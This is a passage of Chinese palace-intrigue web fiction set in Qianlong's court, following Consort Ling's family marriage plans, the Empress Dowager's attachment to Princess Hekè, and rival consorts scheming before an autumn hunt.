魏紫菀让下人们都退下了,一家子得以放松商量事情。 杨佳氏说起小儿子的婚事满脸为难,“这小子就是不愿意跟人家姑娘定下婚事。” “都随他吧,额娘你又不缺孙子孙女,有兰芝和桂林在,你就给他几年时间,有些事急不来的。” “好。”杨佳氏连连点头,要是小儿子在她耳边这么说,非得上演父母的‘混合双打’,但是这不是女儿劝了她吗? 女儿本事最大,她听女儿的。 “紫菀,好些有适龄女儿的人家递帖子到咱们家里,你说额娘要不要答应他们?” 杨佳氏见过魏家最风光的时候,也经历过魏家最落魄时,让她轻易为世家贵女的青睐动心,那不可能,但一点心思都没有,那也不可能。 女儿是令贵妃,有两子两女傍身,大儿子正儿八经通过科举考取举人当官,二儿子跟随丈夫勤勤恳恳做事,小儿子即将考取武举,她的儿子女儿都是极其有出息的孩儿。 小儿子即便和名门贵女成亲,也是配得上的。 “额娘,你跟我说说有哪些人家。” 杨佳氏点了点头,“好些是上三旗的家族,钮祜禄氏孝昭仁皇后那一脉有好几个适龄女儿,高家高斌有一侄女,还有富察氏皇后娘娘那一脉也有适龄女儿。” 魏紫菀想都不用想,“富察氏和高氏都不必考虑,富察氏有嫡子外孙,高氏有龙凤胎外孙,不管哪个都不是我们家能消受得起的,而钮祜禄氏,额娘,不瞒您说,和静未来的额驸可能出自钮祜禄氏一族,魏氏不必跟钮祜禄氏一族关系太深,况且我们家刚抬旗,跟这些名门贵女联姻总是不大合适。” “小妹言之有理。”大嫂陷入沉思,显然小妹说这话也是考虑到她们两位嫂嫂的出身了,她连旗人都不是,虽是懋嫔的亲戚,可懋嫔都是过去的事了,若三弟妹是贵女出身,因出身产生的隔阂是免不了的。 她是家中长嫂,家中事必然事事被她拿捏,若是她跟三弟妹处不来,总不能分家吧,爹说过他们三兄弟在他还活着时绝不能分家。 而且三兄弟感情极好,都打定主意齐心协力扶持魏家,要是分家了,还怎么齐心,况且他们人多力量大,总得给小妹撑腰吧。 让小妹在众多宫妃中,家世排得靠前。 “紫菀,你有人选了?” 魏紫菀轻轻嗯了一声,“从我这里往下一代,暂且跟从包衣抬旗的家族联姻,比如乌雅氏、戴佳氏等圣祖爷妃嫔那一脉族人。” 包衣抬旗的圣祖爷妃嫔族人正缺‘内廷新贵家族’力量,魏佳一族缺对方的底蕴,此乃门当户对,还不会让大嫂二嫂难看,毕竟大嫂二嫂也是妃嫔族人,从这方面来说,不会让大嫂难以管家。 第69章 第69章博弈 “好,额娘听你的。”杨佳氏极容易被说服,“到时我去探探他们口风,若他们也愿意,便是一桩好婚事,若是不愿意,额娘便寻个有好名声的女子,不求有多高家世,能跟我们家处得来就好。” 大嫂悄无声息松了口气,额娘好归好,但在额娘心里,小叔子肯定重要过她们俩儿媳妇,要是能为小叔子选一个高门贵女,额娘必然毫不犹豫,好在有小妹在,只要小妹不愿意,额娘才会绝了这种想法。 一时间她看向小妹的眼神多了好些感激。 二嫂虽不大注重这些拐弯抹角的小事,不过再心大的人在关乎自己利益上,总会格外敏感,宋氏想到的,她都想到了,甚至感激的心思更重。 倘若高门贵女作为三弟妹进府,大嫂是长嫂,身份本就压制底下弟妹,但她只是二嫂,三弟妹要是跟她不和,她也只能将这口气憋在心里,她娘家人也就那样,个个都是白身,给不了她多少底气。 若非她跟丈夫是贫贱时过来的,在旁人眼中,她的身份是够不上贵妃娘家的,好在丈夫和爹娘都不曾在意她的出身,在魏家起势后,对她和大嫂更好了。 二嫂左右环视一眼,见外边都安静下来了,再一问侄子侄女们都出去玩了,才缓下脸色,关切道:“小妹,有一事我得问问,九阿哥可知他生母是谁了?” 九阿哥虽看着是个好男儿,但若是始终不知生母,被蒙在鼓里,等长大后得知生母,她担心会怨上小妹。 “小妹,你怎么想的?”大嫂满脸担忧,小妹不是没有自己的孩子,若是养孩子养出一个白眼狼,这种事谁也不想的。 “我能怎么想?”魏紫菀对这种事看得很开,“我在抚养永璐前就有了永琮,谈不上是因为无子才抱养或是抢夺别人的子嗣,我占得住理,我抚养永琮和永璐时,永琮有的,永璐从不会缺,一视同仁,人非草木,孰能无情,我已经做到我能做到的最好的,若是他将来被人挑拨说我不是,我便只当这段母子情断了。” 她养大的孩子她清楚,永璐绝不是她说的这种人,但是凡事不能笃定,她心里早早做好准备,总比临到关头被自己抚养长大的儿子言语背刺好。 “我听说九阿哥生母犯下大罪,柏氏一族早就出事了,九阿哥无生母依靠,若非由小妹抚养,只会论落成与五公主差不多待遇。” 二嫂叹了口气,她男人随爹做事,对宫中事大大小小有个了解,而且小妹有了一子两女,他们时刻关注宫中事,万一有急事时能搭一把手。 小妹没有对不住九阿哥的,但愿她只是杞人忧天。 “大嫂二嫂,你们放心好了,这事我不曾跟永璐提过,但我也没瞒着他,一切都看老天爷的意思。” 魏紫菀不觉得自己有主动跟永璐提起的理由,毕竟这个孩子当初是万岁爷塞给她的,她没主动要,那她主动告知永璐这事,便成了她‘心虚’,她没必要给自己留下这样的把柄。 她当初没有错,被迫抚养孩子难不成还成了她的过错,永璐只能自己发现这事,自己消化这事,若是接受不了,只能证明她们母子情分到此为止,她不愿将过多心神耗费在这种事上。 她当初尽心尽力抚养孩子,她竭尽所能了。 若是母子情分不能维持下去,那就好聚好散,也算全了这些年的母子情。 “你能想通就好。” 大嫂长长叹了口气,若是说在康熙朝抚养他人子嗣还有点好处——像是新帝继位后,倘若亲子靠不住,还能让养子接自己进府荣养,但是在乾隆帝继位后,就不准太妃随自己子嗣出宫了。 连亲子都靠不住,更别论养子了。 所以抚养九阿哥对小妹来说是吃亏的,用自己的恩宠保证九阿哥顺顺利利长大,不似五公主般任人摆弄,九阿哥这是多好的运道啊,能遇到小妹这样好的养母。 生恩不及养恩重,此时此刻在小妹身上体现得淋漓尽致。 魏紫菀不愿继续讲这种有些遥远的事,“额 娘,大嫂二嫂,你们难得过来一趟,老是讲这些事做甚,我看啊,你们要是想到一些有趣的事就跟我说说,若不然,那咱们就好好吃一顿,吃饱喝好才有力气回去。” “好,都依你。”杨佳氏笑哈哈,进宫看到女儿跟外孙都好好的,她就放心了。 …… 回去后,杨佳氏跟魏清泰说起这些事,魏清泰叹了又叹,“不管九阿哥是不是娘娘亲子,若他始终认定只有娘娘一个额娘,那便是我们的外孙。” “好了,咱们不说这事了,娘娘跟你说过要从包衣抬旗的家族中选儿媳妇是吧。”魏清泰抚了抚胡子,“我记得前儿戴佳氏有族人跟老大说起这事,说他家正好有一女儿,是他爹那苏图晚年所得,千般娇养长大,只想给女儿找一户兄弟多的人家,嫁给小儿子正正好,不必让他小妹操劳家中大大小小的事。” “我看他这意思也够明显的,就是看重咱家小儿子了,不然像他这般的为官者怎会说出自家妹妹的事。” “老爷,我再探探他们家的意思,若是有意,那这事便成了,只是那位戴佳格格可到年纪大选了?” 魏清泰沉思道:“我记得去年他们家借口女儿身体弱,避开了十五年的选秀,到十八年就避无可避了,到时就看缘分吧。有缘分,即便相隔万水千山,总会相逢,若是有缘无份,到时德馨也能考武举了,他靠自己本事立业,不缺贵女青睐。” 谁也不确定戴佳格格会不会选为妃。 “娘娘既然让我们不必着急德馨的婚事,那再等几年并非不行。” 杨佳氏点点头,家和万事兴,他们一家日子过好了,总会有福报迎来。 …… 寿康宫,皇太后心急如焚,“她真这么狠心,不愿哀家看见和恪哪怕一眼。” 她日思夜想小孙女,不是让贵妃抱走孩子就彻底忘了她的存在。 “太后娘娘,贵妃娘娘只是太过想念和恪公主。”兰佩眼观鼻,鼻观口,找不到更好的借口了,只能牵强解释。 皇太后泄气了,冷待贵妃好些日子,不见贵妃着急,着急的反而是她,这还有没有天理了。 “皇帝为何不愿哀家抚养和恪?哀家不信贵妃说话比哀家这个皇额娘还管用。” 皇太后是真被气着了,但是贵妃将孩子要回去抚养不过是重复过去抚养孩子的日日夜夜,她一个突然抱走孩子养的,好似真没资格将孩子要走。 “你说哀家怎么办才好,哀家离不开和恪。”皇太后心神不安,越是想念小孙女,就越是深刻明白,贵妃对她无所求,好似她能给和恪的尊荣,贵妃也能给,凭借宠妃身份,好些事情贵妃做得不费吹灰之力。 和恪能一出生就封和硕公主,靠的是生母的恩宠,跟她无一丝一毫的关系。 皇太后终于垂下她高傲的头颅,“贵妃想要什么?” 兰佩心里隐隐约约猜到了皇太后身上能被令贵妃图谋的东西,只是这事她能猜到,皇太后必然能猜到,皇太后不说,大抵是觉得不值得。 可是哪有这种道理——皇太后不愿付出只想将孩子养在身边享受天伦之乐,如若和恪公主迟早要抚蒙,令贵妃为何要让出陪伴和恪公主的十多年,将孩子留在身边是每个当娘的念想吧。 兰佩只觉得自家主子脑子转不过弯,她也真心怀疑太后娘娘是真的喜欢和恪公主吗?只要是发自真心实意的喜欢,不可能不想将和恪公主留京。 令贵妃为女儿千般算计,甚至不惜把女儿给皇太后抚养,就为了和恪公主能留京,父母之爱子,心乎惟疾忧。 若是太后娘娘只贪图和恪公主留在身边的时日,她还是不要多言了。 纵使自己不是什么好人,也不愿看着一个母亲为自己女儿算计落空后,还要被抢走女儿。 兰佩沉默不语。 皇太后没有得到回应也不在意,她本来就不指望兰佩能说上话,她沉思着,发出一声重重的叹声。 “贵妃太贪心了。” 居然妄想两个女儿都留京,和静未来额驸是钮祜禄特成额,和恪就注定要抚蒙,她不想跟弘历感情生分,贵妃指望她将和恪留下来,这是阳谋。 可谁叫她舍不得和恪了。 即便她跟儿子实打实地说贵妃妄想和恪留京,弘历怕是不会相信。 这事只是她的猜疑,贵妃始终没说过求她将和恪留京之事,“怪不得贵妃能得宠那么多年。” 一个聪慧谨慎不留破绽的女子,确实会过得风生水起。 “哀家该如何是好。” 她既舍不得和恪,也不愿真付出什么,因为那付出关乎后宫妃子涉政之举,公主抚蒙,往小里说是家事,往大里说是满蒙联姻的国事。 “再等等吧。” 皇太后还想赌一把,赌贵妃放心不下和恪,迟早会为了和恪能留京将和恪送到她身边,毕竟她是贵妃唯一的希望了,弘历再宠贵妃也不会为贵妃一而再再而三破例,她自己生的儿子,她能不了解吗。 “太后娘娘,若是贵妃娘娘始终不为所动……”兰佩忍不住想为贵妃说句话。 “若是她忍得了,那就算哀家输了。”皇太后闭眼,她也是从后院后宫走过来的人,贵妃的阳谋她认了,愿赌服输。 谁让她确确实实在乎和恪。 第70章 第70章北狩秋狝 翊坤宫,娴妃怀这胎怀相并不好,月份大了后总是吃了吐,吐了又吃。 初次怀孕让她对腹中子嗣十分慎重,生怕孩子体弱,一不小心就吃得过多,有经验的老嬷嬷劝她不要多食,当心胎大难产,她听进去了却控制不住自己的动作,一不小心又吃多了。 老嬷嬷无奈,只得劝娴妃多出来走走。 娴妃悻悻然,为了子嗣着想,不得不经常在翊坤宫里走动,但胎大以后,每走一会儿便觉得腹部酸胀,有股喘不过气的感觉,她便不愿出来了。 怀孕这般难受,吃不能吃多,走要经常走,她受不了这般苦,偏偏宫里所有奴才都盯着她这胎,仿佛她腹中还未出生的孩子比她还重要。 即便她无宠多年,她从未受过这种苦,而且事事以自己为先的画屏随五公主去了寿康宫,她连说说心里话的人都没了,一时间越发难受。 她只想冷待画屏一段时日,没想到五公主还能被皇上送去寿康宫,这下子她想将画屏要回来都难,她在翊坤宫待得越发不畅快了,万岁爷还将她禁足了…… “三福晋何时过来请安?” 即便是小辈,娴妃也愿意见自己侄女了,实在是这些日子太过憋闷,不知怎么回事,宫里这么多相识的妃子,居然没有一个人过来看她。 静影点头,“娘娘,就快了,三福晋已到景运门了。” “那好。”娴妃轻轻摇着龚扇,怀孕的人身子总是格外闷热,像是有一团火在烧着,奴才们都劝她别用冰,她便拿着柄扇子摇啊摇,热气没摇出来,反倒越摇心里越烦躁。 在娴妃忍不住发脾气前,三福晋总算到来了。 “儿媳给娴额娘请安。” “起来吧。”娴妃眉目松展,看向三福晋眼神多了抹审视,“你何时成了这副模样?” 一副无精打采、形若守了寡的妇人,颜色分外黯淡。 别说是三阿哥了,如若她是男子,她也不愿意留在三福晋房里。 三福晋苦涩一笑,“娴额娘,您知道的,三爷只喜欢留在西林觉罗氏房里,西林觉罗氏还有孕了,等她生下三爷长子,儿媳在府上就无立足之地了。” 一个刚新婚就被丈夫冷待的妇人,露出这般幽怨的神色很是正常,身处后宅中的女人,倘若没有丈夫的看重,做什么事都束手束脚。 “没出息。”娴妃冷哼一声,她这个侄女真是没用,都当上嫡福晋了,还这般由幽幽怨怨,这种好福气还不如给了她,当年她要是成了万岁爷嫡福晋,如今受万岁爷敬重的人也就成了她。 三福晋欲言又止,她觉得姑姑也没比她好多少,至少她还是正头娘子。 这种话她只敢在心里腹诽,她面上得对姑姑敬重,入了宫就得称姑姑为娴额娘,不管何时都不能以姑侄相称。 “你是本宫侄女,说什么都不能给本宫和辉发那拉氏一族丢脸,你就是想尽办法,也得让永璋去你房里,怀上一儿半女后,日子就好过了。” 娴妃心里也有自己的算计,她侄女是三阿哥嫡福晋,等同于三阿哥是辉发那拉氏的女婿,形同 她半子。 她的孩子出生时日太迟了,排在孩子前面的阿哥足足有十个之多,她总要拉拢三阿哥帮她儿子的,看着皇后和慧妃都有过风光时候,她早就想风风光光压她们一回了。 恩宠、子嗣都是过眼云烟,唯有名正言顺的权力才能让她一直风光下去。 娴妃压下对帝王的涟漪,有了孩子,她还惦记着帝王恩宠做什么,反正万岁爷从来没宠爱过她,指望万岁爷,不如指望自己儿子最后登顶,到时万岁爷即便不愿,也得正大光明承认她也是他的皇后。 “娴额娘有什么法子吗?” “别的法子不好说……”娴妃想起曾经怡嫔姐妹俩动用的手段,瞥了眼三福晋,都是正经夫妻,三阿哥总不会不去她房里吧。 “三阿哥多久去你房里一次?” 她直白的话让三福晋瞬间羞红了脸,“……初一十五。” “也就是说,他是数着日子去你房里的,就这样,你怎么怀上身孕?” 娴妃招了招手,三福晋凑近,“这不好吧……” “你想怀上孩子,你就得这么做。永璋待你不可能更好了,不若赌一把。”娴妃淡淡道,“万岁爷今年得北狩秋狝了,一路舟车劳顿,三阿哥会随驾,西林觉罗氏有孩子不可能随行,你得牢牢抓住这个机会。” 三福晋脸色更为难了,“娴额娘,儿媳是嫡福晋,作为后院主母,不得随意出去,到头来还是便宜了后院的完颜氏和瓜尔佳氏。” “这算什么。”娴妃不以为然,“你将她们带上,她们不过是使女,威胁不到你,至于你怎么随驾,本宫听说永璜夫妇出来了,父子没有隔夜仇,皇上借着这次机会让永璜随驾修复父子情,永璜不会落下自己的妻儿。” 她当年隐隐约约感觉到大阿哥好似是为自己妻儿跟皇帝闹不和的,就算不是,以大阿哥打小丧母,万岁爷眼里只有永琏这个嫡子的情况,大阿哥眼里最重要的人只能是自己的身边人。 “既然永璜能带上大福晋,永璋为何就不能带上你,他可没理由这么做。” 三福晋悄无声息松了口气,如若真像姑姑说的,她趁三爷身边只有她时怀上身孕应该不是难事——若三爷始终不来她房里,那就只能用催情的东西了。 这也算作是夫妻情趣,还望三爷别大惊小怪,他们作为夫妻,即便她有错,三爷不可能一辈子不理她。 “姑姑,我还怕一事。” 娴妃眉头紧蹙,“有事快说。” “若是西林觉罗氏非得随行——”她只怕西林觉罗氏知道三爷和她独处,会存心破坏。 “那不更好。”娴妃直言,“她一路上出点事都是在众人眼皮子底下,还更方便你动手了。” 三福晋瞠目结舌,头次意识到她这位姑姑,远比她想的还心狠手辣。 可她确实为这个想法心动,西林觉罗氏月份大了,再出点事,就不是孩子没了的小事,多则一尸两命,少则西林觉罗氏以后难以生养。 若是西林觉罗氏不懂分寸,就怪不得她心狠了。 …… “额娘,这次我们三兄弟肯定会给您打下白狐做裘,熊皮做袄,还有狼皮鹿皮……”永琮满脸抑制不住的兴奋,今年五月,皇阿玛就会带他们这些儿子去北狩秋狝,这可是头一回的事,他肯定要大展身手,让弟弟们拿他做榜样,让额娘满载而归! “对啊,额娘,您就好好看儿子给您争气吧!”永璐挥了挥拳,忍不住撒娇,“额娘,儿子这么大了,总是跟七哥惹出祸来,还没让您自豪一回,这回您就好好看看吧。” 魏紫菀忍不住摸了小儿子虎头一把,“好,那额娘可得好好看着了,不过你们得注意自己安全,别让额娘担心。” “嗯嗯!”永璐高高兴兴抱着额娘手臂,“额娘,儿子跟您说啊,这回我跟七哥、十一弟早就商量好了,咱们分工合作,肯定不输给其他兄弟。” 大哥三哥都娶妻生子了,那么大个人,他们不跟大哥三哥比,但是跟四哥五哥六哥相比,他们三兄弟肯定不输给他们,至于八哥和十二弟,他们三兄弟不跟他们比。 毕竟一个身子弱,一个是皇阿玛嫡子,总感觉碰碰就碎,他们三兄弟肯定要避开的。 魏紫菀又摸了摸他虎头,顺道摸了下大儿子兔头,两个儿子的毛发很好摸,永琮摸了下鼻子,眼睛发亮,“额娘,您就等着看吧。” 两兄弟信誓旦旦许下诺言便拉着将储秀宫当作自己家随意吃吃喝喝的永瑆拉起。 永瑆还一脸懵呢,但是对哥哥们的信赖让他没有半分抗拒就被拉走了,然后就到了永寿宫,在裕贵太妃乐呵呵的笑声中开始训练力气。 三个好精神的孙子承包了裕贵太妃一天的喜悦,这样有滋有味的日子太让老太太欢喜了,而且三个孙子还向她承诺,会给她带回来好多猎物让她尝尝味道。 即便知道孙子孙女们很长一段时间都不会待在皇宫了,老太太也不寂寞,心里期待得很。 “额娘,额娘。”和静抱着额娘小腿,期待道:“和静能不能跟七哥九哥一起?” 魏紫菀只手拎起大女儿,“你也想去?” “想!我想给额娘捉小兔子。” 和静捏紧小拳头挥了挥。 “好,到时都看和静了。”魏紫菀寻思到了木兰围场就找一块地方围起来,再放十来只兔子进去,让和静自己玩。 “额娘!”和恪不认输也嚷嚷着,魏紫菀将和静放下,抱起和恪,“你这么小也想掺和进去?” “不小!”和恪努力摇头,大眼睛亮晶晶跟额娘对视。 “让额娘想想……”什么动物能不伤着孩子还能陪孩子玩,要不找来几只小猫小狗幼崽缠住和恪,让这孩子生不出捕猎的心思。 反正这么大的小孩,注意力很快转移的。 “好,额娘答应你。” 魏紫菀拍了拍高兴起来的小孩的屁股,“去玩吧,特成额,你也跟和静一起去吧。” 她没忘招呼愣在原地的特成额,这孩子进宫说是以皇子伴读身份,但不知不觉早就成为和静身边的小尾巴,皇帝默认,宫里人也都见怪不怪了。 “是,娘娘。”特成额还正经点了点头,立马跟上和静了。 唯有和恪还睁着大眼睛看着额娘,刚才姐姐邀请她去玩,她不去,魏紫菀挑眉,将她放到小推车里,“和恪是不是很久没有见过皇玛嬷了?额娘带你去看看吧。” 魏紫菀发觉皇太后对她恼怒归恼怒,倒没真恨上她,面对这种情况,她不会非得将事情闹僵,毕竟对和恪好的人多一个,和恪的处境就越好。 让和恪跟皇太后好好道别,等北狩回来后,距离产生美,祖孙感情兴许更好了。 皇 太后眼神复杂看着贵妃,手上抱着小孙女,她搞不懂贵妃怎么想了,而且以贵妃先前坚决跟她割席分坐,这会儿带上和恪过来,她居然有种受宠若惊的感觉。 但不管贵妃怎么想,皇太后不会错过跟小孙女亲香的机会,和恪时隔多日没忘了皇玛嬷,还高高兴兴向皇玛嬷举起额娘送给她的小如意。 皇太后乐呵呵道:“待会皇玛嬷也送你东西,和恪喜欢什么,尽管跟皇玛嬷说。” “这个!”和恪一眼就盯上了皇太后手腕上的伽楠木手镯。 70-80 第71章 第71章偏爱 “哈哈哈,还真跟皇玛嬷不客气了。”皇太后点了点小孙女额头,满眼笑意,随后便摘下了伽楠木手镯,伽楠木是一种沉香,贵重之极,但它最贵重的不是它的质地,而是先帝所赐,意义非凡。 皇太后为妃时称不上得宠,只是因有子才得以被封做皇太后,因此先帝留给她的记忆不多,因恩宠赏下的东西更是少之又少,这伽楠木手镯便是其一。 皇太后却心甘情愿送给小孙女,小和恪拿到手镯后还想放在嘴边咬一口,魏紫菀拦住她,认真道:“这是你皇玛嬷送给你的珍宝,福泽要好好珍藏才行。” 长者赐,少者不敢辞。 方才和恪手指指向皇太后手腕处时,皇太后愣住了,兰佩神色焦急,一副想劝皇太后却欲言又止的模样。 她心想此物对皇太后意义肯定不一样,但是皇太后愿意给和恪,可见是舍得的,那和恪该做出回应的是自己的态度,表现得足够重视皇太后的镯子,这关才算过去了。 “知道了,额娘。”和恪认认真真点头,那小模样就是跟贵妃一个模子刻出来的,皇太后看了心里愈发喜爱。 对贵妃心里无奈叹气,贵妃果真是聪慧之人,便是这种小事也不落把柄。 或许等皇帝北狩归来后,她就跟弘历提提将和恪留京之事吧。 她没法真正厌恶贵妃,便是因贵妃这份为女儿考虑的心思恼怒,也不曾真的对贵妃的一举一动不喜,贵妃生养的小孙女也是极好的,模样好看,对她有孝心。 光是这两点,就让她彻底舍不下小孙女了。 这回就当她明知会让弘历不满,也得多管闲事一回了。 皇太后想起弘历刚登基时,她随口跟弘历提起修复顺天府附近的庙宇之事,弘历是替她圆了心愿,但对宫外之事如何传到她耳边却是仔仔细细查了个遍,处理了在她耳边嚼舌根的太监,从那时起,她就明白弘历意思了—— 后宫不可干政,即便是再小的事,只要是关乎宫外和朝廷上的,她都不可干涉。 何况是公主抚蒙之事。 她当时是真的什么都不愿付出,也是真心想将和恪留在身边,但是她的心思被贵妃看透了,便让贵妃如愿以偿一回吧,能为自己女儿做到这种程度,她还是和恪的皇玛嬷,她总不能输给贵妃。 “贵妃,你的唐卡都过去这么多年了,还没准备好?” 魏紫菀微愣,瞳孔越发圆润了,皇太后好端端的,问这个做什么,现在除了婉嫔一心扑在唐卡上,她练好女红后,早就将这事抛在脑后了。 果然如此,皇太后心里有种不出意料的感觉,便是看着贵妃睁大的眸子,心里还有点想笑,有其女必有其母,和恪装傻时也是睁大眼睛假装没听到。 “罢了,哀家不指望你能绣出个模样来,有婉嫔的也一样。” 自觉自己难得占据一回上风,皇太后就不计较贵妃先前算计她的小动作了。 魏紫菀摸了摸鼻子,莫名觉得自己输了气场。 她牵强解释道:“和静和恪实在喜欢那幅唐卡,妾身就挂在她们房里了,后来旧了妾身就另外放好了。” 她强调那幅唐卡她不是没有绣完,只是迫于现实才不得不停下手头针线。 “哀家知了。”皇太后点点头,心里猜想贵妃不是没绣完,是当时敷衍完她以后,见不起作用,便忘到脑后了。 在看清楚贵妃连皇太后都敢利用的胆大心思后,皇太后对贵妃的一举一动也后知后觉反应过来了,贵妃太过清醒了,但偏偏被她利用之人又产生不了厌恶的心思。 如同她宫里一左一右围着她的婉嫔和颖贵人。 皇太后微妙地升起一丝好在没有跟贵妃处在同个时期的后宫的庆幸感,若是她跟贵妃同为后宫妃子,她不知得被贵妃算计多少遍,又或许会像婉嫔和颖贵人一样为贵妃鞍前马后,即便她有弘历傍身也一样。 贵妃实在是太像年氏了,但这份独到的清醒是年氏无法比的,年氏身上的那份清冷柔弱是她圣宠不衰的关键,这注定了年氏一颗心挂在先帝身上,一旦清醒了,也就不是年氏了。 所以年氏没法走到最后。 而贵妃……皇太后仔细打量过贵妃,觉得贵妃也没法走到最后,太过清醒的人就注定没法被情感把控,她儿子她了解,若是一个女人心思不在他身上,以弘历的高傲,必然弃之敝屣。 弘历现在还宠爱贵妃,只能说贵妃伪装得好,若是哪日察觉贵妃对谁都那般清醒,所谓真情是假,会立马收回对贵妃所有的宠爱吧。 “太后娘娘……?” 魏紫菀突然感觉皇太后看向自己的眼神格外奇怪,似打量也似怜悯,还有种说不出的遗憾。 “没事。”皇太后又笑呵呵地摸了下和恪的头发。 魏紫菀收回视线,思忖皇太后的心思,但思来想去,也没想出个究竟。 只是感觉皇太后的样子跟婉嫔和颖贵人有些相似,有时会莫名其妙对她笑一下,虽说没有恶意,但也怪寒碜人的。 殊不知皇太后对她的心态早已转变成预知了贵妃将来命运而对贵妃产生莫名的怜悯和遗憾,换句话说,就是不将贵妃当作后宫随处可见的妃子了,毕竟有胆子算计她的妃子不多见。 可惜贵妃生不逢时,不然以这副天赐的容貌,放到前面几个朝代,早就被帝王偏宠了,不似她儿子,即便宠爱贵妃,她也不见弘历有多少偏爱放在贵妃身上。 若是真的偏爱,不用贵妃算计,和静和恪都能留京。 只是初封妃位二封贵妃,并不算格外的偏爱。 魏紫菀找了个理由告退,再待下去,她怕是要被皇太后那眼神盯得浑身起了鸡皮疙瘩。 如果让她得知皇太后所思所想,那可能会评论一句,皇太后果然被刺激坏了。 帝王能偏心就好了,还能指望偏心多少,正如她一开始对帝王目的不纯,只想攀附上皇帝这座高山得到自己妄想的身份地位,还让娘家人从此过得风生水起,自己的孩子是皇室血脉,日后不愁吃喝,这就足够了。 她对万岁爷都不见有多少偏爱,她怎么可能做出端起碗吃饭放下碗骂娘,还要求皇帝只看重自己一人的事。 …… “紫菀。”乾隆刚走进寿康宫的大门,便见贵妃神色微妙走出屋里。 “万岁爷。”魏紫菀行礼,却见皇帝眸子微亮,“正好朕想去找你,你就陪朕出去走走吧。” 为了防止贵妃找些有的没的的理由,皇帝另外补充了一句,“这是君命。” “是,万岁爷。”魏紫菀看着不知何时被皇帝牵住的手,疑惑道,“可是万岁爷不是过来找太后娘娘吗?” “你都过来了,朕估计你将和恪带过来了,既然有和恪陪着皇额娘,那就无须朕过去了。”乾隆坦坦荡荡,还低头看了眼她的手,“怎么这么凉,朕给你捂捂。” 魏紫菀看了眼皇帝,什么时候万岁爷对她这么了解了,知道她过来是为了让皇太后和和恪相处,这是笃定她跟皇太后僵持不久? 想不通的事情她不想,魏紫菀也自然而然道:“万岁爷这个时辰来找太后娘娘,估计又是忙到现在丝毫不顾及自己身子吧。” “朕没有。”皇帝理直气壮,“你派人送给朕的粥膳,朕都吃完了。” 魏紫菀笑道:“光是这样怎么能行,万岁爷可不能仗着自己身子好胡来。” 皇帝比她大十来岁,又是长寿的命数,魏紫菀也就嘴上说说,她比较担心自己寿命跟不上皇帝。 但是风风光光当一辈子贵妃,临走前当当皇贵妃快活一下,想想就痛快极了。 皇位不归她和儿子争,乾隆朝后 宫妃子该愁的事,她都不愁,等年老时就当个心宽体胖的老太太吧。 到那时,不知有多少人羡慕她,年轻时受宠,年老时儿孙绕膝,一辈子没为宫里大大小小的事发愁过。 “朕不胡来。”皇帝牵着她的手走出寿康宫,“朕还盼着朕同你长命百岁。” 固然所有人都称皇上万岁万岁万万岁,可乾隆怎会不清楚这世间哪有万岁的皇帝,因此这句从他嘴里说出的话,就显得有几分可信度了。 魏紫菀点了点头,就当作自己信了皇上的胡言乱语。 据她所知,年轻时的皇帝跟年老时的皇帝是截然不同的两种人,对于皇帝的话,她只需要秉着半信半疑的态度就好。 反正皇上很好哄。 …… 三皇子府,西林觉罗氏听到大阿哥夫妇被放出来的消息,敏锐如她立即就想到这次北狩大阿哥会跟着去。 三爷回来时随口道:“大哥总算出来了,爷这回可得让大哥请爷痛快喝一场。” 西林觉罗氏眉头紧蹙,“三爷,大哥那边会不会牵连到您……” “柔淳,你不必担心,这么多年过去,皇阿玛再生气也该释怀了,皇阿玛只是嘴上说着大清国威少不了我们这些皇子撑场,可他不带上大哥,谁也不会质疑。” 永璋一清二楚皇阿玛只是拿木兰围猎这个借口将大哥放出来。 “那就好。”西林觉罗氏满脸放心,不经意道:“只是大哥大嫂夫妻恩爱多年,这次北狩大哥离开大嫂,想来夫妻俩都不好受。” 永璋笑道:“怎么会,这次北狩不光大哥随驾,大嫂和小大嫂、两个侄子也得随驾。” 西林觉罗氏冷不防听到自己最不愿听的话,笑意顿散。 第72章 第72章奶茶搭子 “大嫂和小大嫂也能跟去,那福晋是不是也要跟三爷一起出发?可惜妾身有孕,不能陪三爷了。” 西林觉罗氏勉强笑道。 让嫡福晋跟三爷出行,只要辉发那拉氏不是身子有问题,十有八九能怀上身孕,她即便生下大阿哥,可大阿哥能跟嫡子相比? 嫡福晋侧福晋这两个身份的颠倒如同一座大山压在她胸口上,让她喘不过气。 “你留在府里好好养胎,等爷回来看到你和孩子平平安安的,爷就没有遗憾了。” 永璋不觉得这是大事,路上颠簸,他还怕柔淳和孩子会出事,留在府上安安静静养胎,不失为一件美事。 “爷,妾身肚子有些疼。”西林觉罗氏只觉得肚子胀痛感袭来,额头上不断冒出冷汗。 “柔淳?”永璋神色急切,府医被匆匆传唤到侧院,一经诊断,便是侧福晋身体无恙,只是忧思过度引起的疼痛。 永璋眉头紧皱,温声安抚,“柔淳,你有什么话跟爷直说,何必憋在心里。” 西林觉罗氏苦笑一声,“妾身只怕自己妄言,会扰了爷和福晋的兴致。” “你直说罢了,爷可不乐意听你这么说,在爷心里,你也是爷福晋。” “是。”西林觉罗氏摸了下肚子,愁容满面,“爷,妾身担心这后院没个主子镇着,妾身要是有个万一……妾身不怕自己出事,只怕不能给三爷留下子嗣。” 永璋不言,柔淳的意思他清楚,是想让嫡福晋留下来,只是嫡福晋对北狩一事期待已久,他不好扫兴。 何况他决定将柔淳当成他的妻,只给嫡福晋该给的尊重,本就让嫡福晋脸面难看,若是这会儿还要让嫡福晋为侧福晋留下来,这事实在不妥当。 永璋倒没有事事以真爱为先的想法,在规则之内,他必然百般顺从侧福晋,在规则之外,便以嫡福晋为主。 “爷……”见三爷迟迟不应,西林觉罗氏难免有些心急。 “你好好休息,爷会安排好你们母子俩的。”永璋说话语气还是那般温柔,给她捻好被褥,便起身离去。 西林觉罗氏心里又是一阵心酸,爷对她多好,可不管爷再好,在对上嫡福晋时,侧福晋永远比不过嫡福晋。 她心里的执念越发强烈,为了自己,也为了自己的孩子,她必须狠下心来。 永璋出了府便往皇宫去,让嫡福晋留下来只是迫不得已的安排,他进宫跟额娘好好商量这事,说不定额娘会给出别的见解。 正院,“我猜西林觉罗氏果然安分不下来。”三福晋满脸笃定。 “福晋,侧福晋实在得宠,若是三爷被她说动让您留下来……”巧晴满脸愁容,作为正院的奴才,她只盼着福晋好,这侧福晋得宠生子,后院得传出宠妾灭妻的风声了。 